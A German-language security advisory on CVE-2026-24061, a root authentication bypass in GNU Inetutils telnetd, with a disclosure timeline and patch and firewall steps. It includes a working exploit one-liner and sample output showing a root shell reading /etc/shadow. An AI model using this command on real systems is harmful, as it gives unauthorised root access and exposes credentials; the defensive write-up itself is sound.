
CVE-2026-24061
Kritischer Remote-Authentifizierungs-Bypass in GNU Inetutils telnetd
Der Geist von 2015 ist gerade zurückgekehrt, um alles zu übernehmen, was noch Telnet betreibt.
Keine Authentifizierung. Eine Umgebungsvariable. Sofortige Root-Shell.
CVE-2026-24061 ist eine kritische Remote-Privilegienausweitung-Schwachstelle in GNU Inetutils telnetd ≤ 2.7.
Ein nicht authentifizierter Remote-Angreifer setzt die Umgebungsvariable USER auf "-f root" über die Telnet NEW-ENVIRON-Option.
telnetd übergibt es ungeprüft direkt an /bin/login → login sieht -f root → überspringt die gesamte Authentifizierung → bringt den Angreifer in eine Root-Shell.
Der gefährliche Code saß fast 11 Jahre lang still im Baum (seit ~2015).
„Eine Umgebungsvariable. Kein Passwort. Vollständiger Root-Zugriff. Willkommen im Jahr 2026.“
Realität im März 2026:
Wenn telnetd eine NEW-ENVIRON-Option mit folgendem Inhalt erhält:
USER=-f root
Es fügt den Wert direkt an das argv an, das an /bin/login übergeben wird:
execve("/bin/login", ["login", "-f", "root", ...], ...)
Das Login-Binärprogramm interpretiert -f root als:
„Dieser Benutzer ist bereits als root authentifiziert – keine Passwortprüfung erforderlich.“
→ Angreifer erhält #-Eingabeaufforderung. Game over.
Schwerwiegende Designentscheidung: Die Weiterleitung von -R / Umgebungsvariablen wurde nie auf autorisierte Benutzer beschränkt.
Verwundbare Versionen: GNU Inetutils telnetd 1.9.3 – 2.7
Häufige Ziele im Jahr 2026:
Sicher:
Einzeiler (beliebiges Linux/macOS mit telnet-Client):
USER="-f root" telnet -a 192.168.1.50
Typische Ausgabe:
┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
Ein Druck auf die Eingabetaste später – vollständiger Root-Zugriff.
telnet localhost 23 # nach inetutils-Banner suchen
inetutils-telnetd --version # verwundbar wenn ≤ 2.7
systemctl disable --now inetutils-inetd # oder telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp
| Datum | Ereignis |
|---|
| ~März 2015 | Verwundbare Umgebungsvariablenverarbeitung eingeführt |
| Jan 2026 | Privater Bericht an Upstream |
| Ende Jan 2026 | Öffentliche Offenlegung & CVE-Zuweisung |
| Ende Jan 2026 | Fix veröffentlicht (Inetutils ≥ 2.8) |
| 26. Jan 2026 | Aufnahme in CISA Katalog bekannter ausgenutzter Schwachstellen |
| Feb–Mär 2026 | Exploits steigen gegen Legacy-/OT-Systeme |
| März 2026 | Viele Embedded-Hersteller noch still oder ungepatcht |